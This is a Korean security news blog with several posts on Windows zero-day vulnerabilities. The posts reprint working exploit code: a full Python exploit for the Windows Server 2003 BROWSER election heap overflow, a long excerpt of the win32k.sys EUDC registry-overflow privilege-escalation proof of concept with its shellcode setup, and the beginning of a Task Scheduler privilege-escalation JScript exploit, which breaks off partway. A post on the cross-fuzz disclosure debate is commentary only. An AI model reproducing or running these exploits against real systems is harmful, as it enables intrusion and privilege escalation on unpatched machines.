지난 9월 28일, 중국의 Qihoo 360 Core Security에서는 CVE-2017-11826 취약점을 이용하는 공격코드가 인터넷에서 발견되었다고 발표했다. 이 취약점은 현재 제공되는 오피스 워드 전제품에서 발생할 수 있으며, 다만, 공격 대상은 제한적이라고 한다. 공격자는 기존의 WORD 문서를 공격하는 방식과 동일하게 RTF 파일에 조작된 .docx 파일을 임베디드 시키는 방식을 이용한다.

 

보다 자세한 자료는 아래 링크를 참고한다.

 

 

참고로 해당 취약점은 2017년 10월 정기 보안 업데이트에서 패치를 발표했다.

 

 

고맙습니다.

저작자 표시
신고
reTweet
Posted by 문스랩닷컴
blog comments powered by Disqus
    지난 2월 13일에 Cupidon-3005이라는 별명을 사용하는 보안 전문가가 exploit-db.com에 새로운 윈도우 관련 제로데이 익스플로잇을 공개했습니다.

    ####################################################################################
    #MS Windows Server 2003 AD Pre-Auth BROWSER ELECTION Remote Heap Overflow
    #Release date: 2011-02-14
    #Author: Cupidon-3005
    #Greet: Winny Thomas, Laurent Gaffie, h07
    #Bug: Heap Overflow
    #Remote Exploitability: Unlikely
    #Local Exploitability: Likely
    #Context: Broadcast, Pre-Auth
    #####################################################################################
    #Mrxsmb.sys, around BowserWriteErrorLog+0x175, while trying to copy 1go from ESI to EDI ...
    #Code will look something like this:
    #if ((Len + 1) * sizeof(WCHAR)) > TotalBufferSize) { Len = TotalSize/sizeof(WCHAR) - 1; }
    #-1 causes Len to go 0xFFFFFFFF
    #Feel free to reuse this code without restrictions...
      
    import socket,sys,struct
    from socket import *
      
    if len(sys.argv)<=4:    
     sys.exit("""usage: python sploit.py UR-IP BCAST-IP NBT-NAME AD-NAME 
     example: python sploit.py 192.168.1.10 192.168.1.255 OhYeah AD-NETBIOS-NAME""")
      
    ourip = sys.argv[1]
    host = sys.argv[2]
    srcname = sys.argv[3].upper()
    dstname = sys.argv[4].upper()
      
      
    ELEC            = "\x42\x4f\x00"
    WREDIR          = "\x41\x41\x00"
      
    def encodename(nbt,service):
        final = '\x20'+''.join([chr((ord(i)>>4) + ord('A'))+chr((ord(i)&0xF) + ord('A')) for i in nbt])+((15 - len(nbt)) * str('\x43\x41'))+service
        return final
      
    def lengthlittle(packet,addnum):
        length = struct.pack("<i", len(packet)+addnum)[0:2]
        return length
      
    def lengthbig(packet,addnum):
        length = struct.pack(">i", len(packet)+addnum)[2:4]
        return length
      
    def election(srcname):
        elec = "\x08"
        elec+= "\x09" #Be the boss or die
        elec+= "\xa8\x0f\x01\x20" #Be the boss or die
        elec+= "\x1b\xe9\xa5\x00" #Up time
        elec+= "\x00\x00\x00\x00" #Null, like SDLC
        elec+= srcname+"\x00"
        return elec
      
    def smbheaderudp(op="\x25"):
        smbheader= "\xff\x53\x4d\x42"
        smbheader+= op 
        smbheader+= "\x00"
        smbheader+= "\x00"
        smbheader+= "\x00\x00"
        smbheader+= "\x00"
        smbheader+= "\x00\x00"
        smbheader+= "\x00\x00"
        smbheader+= "\x00\x00\x00\x00\x00\x00\x00\x00" 
        smbheader+=  "\x00\x00"
        smbheader+= "\x00\x00"
        smbheader+= "\x00\x00"
        smbheader+= "\x00\x00"
        smbheader+= "\x00\x00"
        return smbheader
      
      
    def trans2mailslot(tid="\x80\x0b",ip=ourip,sname="LOVE-SDL",dname="SRD-LOVE",namepipe="\MAILSLOT\BROWSE",srcservice="\x41\x41\x00",dstservice="\x41\x41\x00",pbrowser=""):
        packetbrowser  =  pbrowser                             
        packetmailslot = "\x01\x00"                            
        packetmailslot+= "\x00\x00"                            
        packetmailslot+= "\x02\x00"                            
        packetmailslot+= lengthlittle(packetbrowser+namepipe,4)
        packetmailslot+= namepipe +"\x00"
        packetdatagram = "\x11"
        packetdatagram+= "\x02"
        packetdatagram+= tid 
        packetdatagram+= inet_aton(ip)
        packetdatagram+= "\x00\x8a"
        packetdatagram+= "\x00\xa7"
        packetdatagram+= "\x00\x00"
        packetdatagramname = encodename(sname,srcservice)
        packetdatagramname+= encodename(dname,dstservice)
        smbheader= smbheaderudp("\x25")
        packetrans2 = "\x11"
        packetrans2+= "\x00\x00" 
        packetrans2+= lengthlittle(packetbrowser,0)
        packetrans2+= "\x00\x00"
        packetrans2+= "\x00\x00"
        packetrans2+= "\x00"
        packetrans2+= "\x00"
        packetrans2+= "\x00\x00"
        packetrans2+= "\xe8\x03\x00\x00"
        packetrans2+= "\x00\x00"
        packetrans2+= "\x00\x00"
        packetrans2+= "\x00\x00"
        packetrans2+= lengthlittle(packetbrowser,0)
        packetrans2+= lengthlittle(smbheader+packetrans2+packetmailslot,4)
        packetrans2+= "\x03"
        packetrans2+= "\x00"
        andoffset = lengthlittle(smbheader+packetrans2+packetmailslot,2)
        lengthcalc = packetdatagramname+smbheader+packetrans2+packetmailslot+packetbrowser
        packetfinal = packetdatagram+packetdatagramname+smbheader+packetrans2+packetmailslot+packetbrowser
        packetotalength = list(packetfinal)
        packetotalength[10:12] = lengthbig(lengthcalc,0)
        packetrans2final = ''.join(packetotalength)
        return packetrans2final
      
    def sockbroad(host,sourceservice,destservice,packet):
       s = socket(AF_INET,SOCK_DGRAM)
       s.setsockopt(SOL_SOCKET, SO_BROADCAST,1)
       s.bind(('0.0.0.0', 138))
       try:
          packsmbheader = smbheaderudp("\x25")
          buffer0 = trans2mailslot(tid="\x80\x22",ip=ourip,sname=srcname,dname=dstname,namepipe="\MAILSLOT\BROWSER",srcservice=sourceservice, dstservice=destservice, pbrowser=packet)
          s.sendto(buffer0,(host,138))
       except:
          print "expected SDL error:", sys.exc_info()[0]
          raise
       
    sockbroad(host,WREDIR,ELEC,election("A" * 410)) # -> Zing it! (between ~60->410)
    print "Happy St-Valentine Bitches\nMSFT found that one loooooooong time ago...."



    물론 이 문제는 아직 해결되지 않았으며 마이크로소프트가 전모를 파악하여 분석 중에 있습니다.

    문제점의 원인은 mrxsmb.sys 파일에 포함된 BrowserWriteErrorLogEntry() 함수에서 적벌한 처리가 이뤄지지 않아 버퍼 오버플로 오류가 발생하는 것으로 알려지고 있습니다. mrxsmb.sys 파일은 윈도우에서 네트워크 통신을 하는 과정에서 사용하는 SMB(Server Message Block) 프로토콜에 요청하는 프로세스를 처리하는 드라이버 파일입니다.

    독일의 보안 기업인 Vupen이 검토한 바에 따르면 이 문제점은 치명적(Critical)인 것으로 간주되며 이로 인해 서비스 거부나 시스템 장악과 같은 결과를 낳을 수 있다고 합니다. 물론, 윈도우의 블루스크린(BSOD)를 유발할 수도 있습니다.

    또다른 보안 기업인 Secunia에서는 5단계 위험 기준에서 3번째인 일반(moderately critical)로 분류했습니다.

    현재 제로데이코드는 윈도우 2003 서버 제품에 한정되어 올라와 있지만 앞에서 언급한 보안 기업의 확인에 따르면 Windows XP SP3와 Windows 2003 SP2 버전뿐만 아니라 다른 윈도우 제품에서도 대부분 발생한다고 합니다.

    MS의 보안 업데이트 정책상 다음달 8일에 정기 보안 업데이트가 예정되어 있지만, 이 취약점에 대한 조사가 완료된 후에야 긴급 업데이트를 할지 아니면 다음달에 처리할지 결정될 것이라고 합니다.

    감사합니다.

    출처: http://www.exploit-db.com/exploits/16166/
    저작자 표시
    신고
    reTweet
    Posted by 문스랩닷컴
    blog comments powered by Disqus

      심각한 파급력을 가질 수 있는 보안 취약점을 발견 즉시 공개해야 할까요? 아니면, 개발사와 충분히 검토하여 문제점을 해결 또는 완화할 수 있는 방안(패치)를 마련한 다음 공개해야 할까요?

      보통, 후자의 경우를 선택하는 경우가 많으며, 요즘은 인식이 많이 좋아져서 개발사에서도 적극적으로 대처하는 편입니다.

      하지만, 작년 9월과 올 1월에 구글에서 근무하는 엔지니어가 새로운 제로데이 취약점을 공개해서 논란이 되고 있습니다. 앞에서 언급한 바와 같이 문제점의 해결책이 마련되지 않은 상태에서 공격이 가능한 코드(PoC, Proof of Concept)를 공개한 것이 논란의 발단입니다.

      Lcamtuf와 Michael Zalewski는 자신들이 발견한 cross-fuzz라는 취약점을 이용하는 공격이 가능함을 시연하는 툴을 최근 공개했습니다.

      1. Open two windows with documents of any (DOM-enabled) type. Simple HTML, XHTML, and SVG documents are randomly selected as targets by default - although any other, possibly plugin-supported formats could be targeted instead.
      2. Crawl DOM hierarchy of the first document, collecting encountered object references for later reuse. Visited objects and collected references are tagged using an injected property to avoid infinite recursion; a secondary blacklist is used to prevent navigating away or descending into the master window. Critically, random shuffling and recursion fanout control are used to ensure good coverage.
      3. Repeat DOM crawl, randomly tweaking encountered object properties by setting them to a one of the previously recorded references (or, with some probability, to one of a handful of hardcoded "interesting" values).
      4. Repeat DOM crawl, randomly calling encountered object methods. Call parameters are synthesized using collected references and "interesting" values, as noted above. If a method returns an object, its output is subsequently crawled and tweaked in a similar manner.
      5. Randomly destroy first document using one of the several possible methods, toggle garbage collection.
      6. Perform the same set of crawl & tweak operations for the second document, but use references collected from the first document for overwriting properties and calling methods in the second one.
      7. Randomly destroy document windows, carry over a percentage of collected references to the next fuzzing cycle.


      이 취약점은 2010년 7월부터 제기된 것으로 그동안 인터넷 익스플로러, 파이어폭스 등과 같은 브라우저에서 발생하는 문제를 해결해 오고 있는 상태였으며, 이에 대한 정보는 아래를 참고하십시오.

      Internet Explorer: MSRC notified in July 2010. Fuzzer known to trigger several clearly exploitable crashes (example stack trace) and security-relevant GUI corruption issues (XP-only, example). Reproducible, exploitable faults still present in current versions of the browser. I have reasons to believe that one of these vulnerabilities is known to third parties.

      Comment: Vendor has acknowledged receiving the report in July (case 10205jr), but has not contacted me again until my final ping in December. Following that contact attempt, they were able to quickly reproduce multiple exploitable crashes, and asked for the release of this tool to be postponed indefinitely. Since they have not provided a compelling explanation as to why these issues could not have been investigated earlier, I refused; see this timeline for more.
      All WebKit browsers: WebKit project notified in July 2010. About two dozen crashes identified and addressed in bug 42959 and related efforts by several volunteers. Relevant patches generally released with attribution in security bulletins. Some extremely hard-to-debug memory corruption problems still occurring on trunk.
      Firefox: Mozilla notified in July 2010. Around 10 crashes addressed in bug 581539, with attribution in security bulletins where appropriate. Fuzzing approach subsequently rolled into Jesse Ruderman's fuzzing infrastructure under bug 594645 in September; from that point on, 50 additional bugs identified (generally with no specific attribution at patch time). Several elusive crashes still occurring on trunk. Bad read / write offset crashes in npswf32.dll can also be observed if the plugin is installed.
      Opera: vendor notified in July 2010. Update provided in December states that Opera 11 fixed all the frequent crashes, and that a proper security advisory will be released at a later date (release notes list a placeholder statement: "fixed a high severity issue"). Several tricky crashes reportedly still waiting to be resolved.

      재미있는 점은 마이크로소프트가 이 취약점을 해결하는 패치가 발표되기 전까지는 공격 코드의 발표를 연기해 달라고 요청했다는 점인데, 이 요청을 거부하고 공개했다는 것입니다. 

      Michael Zalewski는 이러한 요청을 거부한 배경에는 이미 이 취약점을 이용하는 공격도구가 이미 인터넷 상에 존재하고 있다고 믿을 만한 근거가 있다고 밝혔습니다.


      즉, 이미 인터넷 상에 취약점이 공개되어 공격자들이 이용하고 있는데, 해결책이 없다고 주저하는 것이 옳은 선택일까요? 아닐까요?

      출처: http://lcamtuf.blogspot.com/2011/01/announcing-crossfuzz-potential-0-day-in.html

       

      저작자 표시
      신고
      reTweet
      Posted by 문스랩닷컴
      blog comments powered by Disqus
        지난 11월 24일, 외국의 유명한 프로그래밍 관련 사이트에서 윈도우의 패치되지 않은 취약점에 대한 공격 코드 즉, 제로데이가 발표되었습니다. 이 취약점은 윈도우 XP, 비스타, 7 등의 클라이언트 운영체제 뿐만 아니라 윈도우 2008과 같은 서버용 운영체제에서 발견되어 충격을 주고 있습니다.

        이 취약점은 윈도우 커널(win32k.sys)의 버퍼 오버플로 시에 발생하며, 공격자는 윈도우의 UAC(User Access Control) 기능을 우회할 수 있습니다.

        PoC(Proof of Concept) 공격 코드에서는 윈도우의 관리자 계정이 아닌 일반 계정으로도 특정한 키를 생성할 수 있는 것으로 제시하고 있습니다. 물론, win32k.sys가 커널에 관련된 파일로 일부 운영체제에서는 PoC 코드가 BSOD(블루스크린)을 보이기는 하지만 일부 수정만 한다면 문제없이 공격이 가능하리라 예상됩니다.

        다행인지 모르지만, 지금까지는 이 취약점은 로컬에서 공격이 가능하다고 언급하고 있지만, 공격 방식에 따라 다른 형태로도 가능하리라 예상됩니다.


        위의 화면에서 보면, 처음 사용자 권한은 일반인 user 였지만 공격 코드를 실행한 후에는 system 권한을 가지게 된 것을 볼 수 있습니다.

        아래 코드는 웹사이트에 공개한 PoC 중의 일부 코드 및 설명입니다.

        1. Introduction
        2.  
        3. I would like to present an exploit of an ambiguous parameter in Windows kernel API that leads to buffer overflows under nearly every version of Microsoft Windows, especially one that can be used as a backdoor to Windows user privilege system as well as User Access Control.
        4.  
        5. The starring API would be RtlQueryRegistryValues, it meant to be used to query multiple registry values by a query table, given the EntryContext field as output buffer. There is a problem that this field can be either treated as a UNICODE_STRING structure or a ULONG buffer length followed by the actual buffer, and this is determined by the type of the registry key being queried.
        6. Using the code
        7.  
        8. In this example, I found a registry key which can be manipulated with only user rights, by changing its type to REG_BINARY overflows the kernel. When Win32k.sys->NtGdiEnableEudc queries HKCU\EUDC\[Language]\SystemDefaultEUDCFont registry value, it assumes that the registry value is REG_SZ, so the buffer provided on stack is a UNICODE_STRING structure, of which the first ULONG value in this structure represents the length of the string buffer, but if the value in registry is REG_BINARY type, it will be wrongly interpreted as the length of the given buffer, thus overwrites the stack.
        9. Collapse
        10. Collapse
        11.  
        12. .text:BF81BA91                 push    esi             ; Environment
        13. .text:BF81BA92                 push    esi             ; Context
        14. .text:BF81BA93                 push    offset ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A ; QueryTable
        15. .text:BF81BA98                 push    edi             ; Path
        16. .text:BF81BA99                 lea     eax, [ebp+DestinationString]
        17. .text:BF81BA9C                 push    esi             ; RelativeTo
        18. .text:BF81BA9D                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.QueryRoutine, esi ; _RTL_QUERY_REGISTRY_TABLE * SharedQueryTable
        19. .text:BF81BAA3                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Flags, 24h
        20. .text:BF81BAAD                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.Name, offset aSystemdefaulte ; "SystemDefaultEUDCFont"
        21. .text:BF81BAB7                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.EntryContext, eax
        22. .text:BF81BABC                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultType, esi
        23. .text:BF81BAC2                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultData, esi
        24. .text:BF81BAC8                 mov     ?SharedQueryTable@@3PAU_RTL_QUERY_REGISTRY_TABLE@@A.DefaultLength, esi
        25. .text:BF81BACE                 mov     dword_BFA198FC, esi
        26. .text:BF81BAD4                 mov     dword_BFA19900, esi
        27. .text:BF81BADA                 mov     dword_BFA19904, esi
        28. .text:BF81BAE0                 call    ds:__imp__RtlQueryRegistryValues@20 ; RtlQueryRegistryValues(x,x,x,x,x)
        29. .text:BF81BAE6                 mov     [ebp+var_8], eax
        30.  
        31. Stack trace shows the calling process is as follows:
        32.  
        33. GDI32.EnableEUDC ->
        34. NtGdiEnableEudc ->
        35. GreEnableEUDC ->
        36. sub_BF81B3B4 ->
        37. sub_BF81BA0B ->
        38. RtlQueryRegistryValues (Overflow occurs)
        39.  
        40. Given this we can design the registry value which will precisely overwrite the return address of the calling function on stack, results in an arbitrary buffer being executed in kernel mode. In my PoC the buffer contains a simple kernel PE loader, which will eventually load a driver that will escalate "cmd.exe” process privilege regardless of UAC.
        41. Collapse
        42. Collapse
        43.  
        44. // Allocate buffer for the driver
        45. LPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        46. memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf));    
        47.  
        48. BYTE* pMem;            // shellcode
        49. DWORD ExpSize = 0;
        50.  
        51. BYTE RegBuf[0x40] = {0};    // reg binary buffer
        52.  
        53. pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        54. memcpy(pMem, Data, sizeof(Data));                // Copy shellcode
        55.  
        56. *(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem;        // Point return value to our buffer
        57.  
        58. ExpSize = 0x28;
        59.  
        60.  
        61. The shellcode need some kernel APIs, we need to get their addresses from the running kernel.
        62. Collapse
        63. Collapse
        64.  
        65. // Get the running kernel file name
        66. HMODULE hDll = GetModuleHandle(L"ntdll.dll");
        67. pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll,"ZwQuerySystemInformation");
        68. PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL;
        69. ULONG AllocSize = 0;
        70. fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
        71.  
        72. pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);
        73. fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
        74. HMODULE hKernel = LoadLibraryExA(pModInfo->modinfo[0].ImageName + pModInfo->modinfo[0].ModuleNameOffset, NULL, DONT_RESOLVE_DLL_REFERENCES);
        75.  
        76. //Relocation to the running kernel base
        77. DWORD Delta =  (DWORD)pModInfo->modinfo[0].Base - (DWORD)hKernel;
        78.  
        79. free(pModInfo);
        80.  
        81. // For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function returns,
        82. // so we need a valid pool address to avoid BSOD.
        83.  
        84. if(vi.dwBuildNumber < 7600)    
        85. {
        86.     FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);
        87.  
        88.     HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L"Local\\PoC");
        89.     PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION));
        90.     AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION);
        91.     fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
        92.  
        93.     pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize);
        94.     fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
        95.  
        96.     for(DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++)
        97.     {
        98.         if((HANDLE)pHandleInfo->Handles[i].HandleValue == hDummy)
        99.         {
        100.             *(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo->Handles[i].Object) - 0x18;
        101.             break;
        102.         }
        103.     }
        104.     free(pHandleInfo);
        105. }
        106. else
        107. {
        108.     FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30);
        109. }
        110.  
        111. // Now fills the API addresses needed
        112. FixDWORD(pMem, sizeof(Data), 0x11111111, (DWORD)GetProcAddress(hKernel, "ExAllocatePoolWithTag") + Delta);
        113. FixDWORD(pMem, sizeof(Data), 0x22222222, (DWORD)GetProcAddress(hKernel, "RtlInitAnsiString") + Delta);
        114. FixDWORD(pMem, sizeof(Data), 0x33333333, (DWORD)GetProcAddress(hKernel, "RtlAnsiStringToUnicodeString") + Delta);
        115. FixDWORD(pMem, sizeof(Data), 0x44444444, (DWORD)GetProcAddress(hKernel, "MmGetSystemRoutineAddress") + Delta);
        116. FixDWORD(pMem, sizeof(Data), 0x55555555, (DWORD)GetProcAddress(hKernel, "RtlFreeUnicodeString") + Delta);
        117. FixDWORD(pMem, sizeof(Data), 0x66666666, (DWORD)GetProcAddress(hKernel, "memcpy") + Delta);
        118. FixDWORD(pMem, sizeof(Data), 0x77777777, (DWORD)GetProcAddress(hKernel, "memset") + Delta);
        119. FixDWORD(pMem, sizeof(Data), 0x88888888, (DWORD)GetProcAddress(hKernel, "KeDelayExecutionThread") + Delta);
        120. FreeLibrary(hKernel);
        121.  
        122. // Here we tell the shellcode(PE loader) where the driver buffer is.
        123. FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf));
        124. FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem);
        125.  
        126.  
        127. Finally, we set the registry value and call GDI32.EnableEUDC to fire the exploit.
        128. Collapse
        129. Collapse
        130.  
        131. UINT codepage = GetACP();
        132. TCHAR tmpstr[256];
        133. _stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage);        // Get current code page
        134. HKEY hKey;
        135. RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL);
        136. RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
        137.  
        138. RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);
        139.  
        140. __try
        141. {
        142.     EnableEUDC(TRUE);    
        143. }
        144. __except(1)
        145. {
        146. }
        147. RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
        148. RegCloseKey(hKey);
        149.  
        150. After running this PoC, just type "whoami" in command prompt to see the escalated user credentials.
        151. Points of Interest
        152.  
        153. All actions this PoC performs require only user privilege, but result in arbitrary kernel mode code execution due to the ambiguous design of RtlQueryRegistryValues. This design flaw exists in most versions of Windows kernels, yet no patch or documentation is publicly available on this issue.
        154. Additional Information
        155.  
        156. This PoC may not correctly fix the exploited kernel context and resume execution without BSOD, such as on kernels ealier than 6.1.6000 are not supported, current supported kernels are:
        157. Windows Vista/2008 6.1.6000 x32,
        158. Windows Vista/2008 6.1.6001 x32,
        159. Windows 7 6.2.7600 x32,
        160. Windows 7/2008 R2 6.2.7600 x64.
        161. Beyond this scope you may contact me for information on how to tune the code to work correctly on your kernel or how the shellcode works, etc. Those contents are beyond the scope of this article and of no importance to the exploit, therefore it is not included.


        아직까지 현 문제점에 대해 추가적인 언급이나 대책이 발표되지 않았으며, 공격 코드의 공개로 인해 악성코드 제작자의 활약(!)이 예상됩니다.



        감사합니다.

        저작자 표시
        신고
        reTweet
        Posted by 문스랩닷컴
        blog comments powered by Disqus
          외국의 취약점 공개 사이트인 www.exploit-db.com에서 윈도우의 예약 작업에 관련된 제로데이 코드가 발표되었습니다.

          다행이 취약점의 특성상 웹과 같이 외부적인 요소로 인한 공격이 주효하지 않을 것으로 보이지만, 악성코드 등과 같이 로컬로 동작할 경우에는 치명적인 영향을 미칠 가능성이 있으므로 주의해야 합니다.

          아직 해결책이나 보완책이 나오지 않았습니다.

          # Exploit Title: Windows Task Scheduler Privilege Escalation 0day
          # Date: 20-11-2010
          # Author: webDEViL
          # Tested on: Windows 7/2008 x86/x64
           
           
          <job id="tasksch-wD-0day">
          <script language="Javascript">
           
          crc_table = new Array(
            0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419,
            0x706AF48F, 0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4,
            0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07,
            0x90BF1D91, 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE,
            0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 0x136C9856,
            0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9,
            0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4,
            0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B,
            0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3,
            0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 0x26D930AC, 0x51DE003A,
            0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599,
            0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
            0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190,
            0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F,
            0x9FBFE4A5, 0xE8B8D433, 0x7807C9A2, 0x0F00F934, 0x9609A88E,
            0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01,
            0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED,
            0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950,
            0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3,
            0xFBD44C65, 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2,
            0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A,
            0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5,
            0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA, 0xBE0B1010,
            0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
            0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17,
            0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6,
            0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615,
            0x73DC1683, 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8,
            0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 0xF00F9344,
            0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB,
            0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A,
            0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5,
            0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1,
            0xA6BC5767, 0x3FB506DD, 0x48B2364B, 0xD80D2BDA, 0xAF0A1B4C,
            0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF,
            0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
            0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE,
            0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31,
            0x2CD99E8B, 0x5BDEAE1D, 0x9B64C2B0, 0xEC63F226, 0x756AA39C,
            0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713,
            0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B,
            0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242,
            0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1,
            0x18B74777, 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C,
            0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 0xA00AE278,
            0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7,
            0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66,
            0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
            0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605,
            0xCDD70693, 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8,
            0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B,
            0x2D02EF8D
          );
           
          var hD='0123456789ABCDEF';
           
          function dec2hex(d) {
          h='';
          for (i=0;i<8;i++) {
          h = hD.charAt(d&15)+h;
          d >>>= 4;
          }
          return h;
          }
          function encodeToHex(str){
              var r="";
              var e=str.length;
              var c=0;
              var h;
              while(c<e){
                  h=str.charCodeAt(c++).toString(16);
                  while(h.length<3) h="0"+h;
                  r+=h;
              }
              return r;
          }
          function decodeFromHex(str){
              var r="";
              var e=str.length;
              var s=0;
              while(e>1){
                   
                  r=r+String.fromCharCode("0x"+str.substring(s,s+2));
                   
                  s=s+2;
                  e=e-2;
              }
               
              return r;
               
          }
           
           
          function calc_crc(anyForm) {
           
          anyTextString=decodeFromHex(anyForm);
           
          Crc_value = 0xFFFFFFFF;
          StringLength=anyTextString.length;
          for (i=0; i<StringLength; i++) {
          tableIndex = (anyTextString.charCodeAt(i) ^ Crc_value) & 0xFF;
          Table_value = crc_table[tableIndex];
          Crc_value >>>= 8;
          Crc_value ^= Table_value;
          }
          Crc_value ^= 0xFFFFFFFF;
          return dec2hex(Crc_value);
           
          }
           
          function rev_crc(leadString,endString,crc32) {
          //
          // First, we calculate the CRC-32 for the initial string
          //
              anyTextString=decodeFromHex(leadString);
               
             Crc_value = 0xFFFFFFFF;
             StringLength=anyTextString.length;
             //document.write(alert(StringLength));
             for (var i=0; i<StringLength; i++) {
                tableIndex = (anyTextString.charCodeAt(i) ^ Crc_value) & 0xFF;
                Table_value = crc_table[tableIndex];
                Crc_value >>>= 8;
                Crc_value ^= Table_value;
             }
          //
          // Second, we calculate the CRC-32 without the final string
          //
             crc=parseInt(crc32,16);
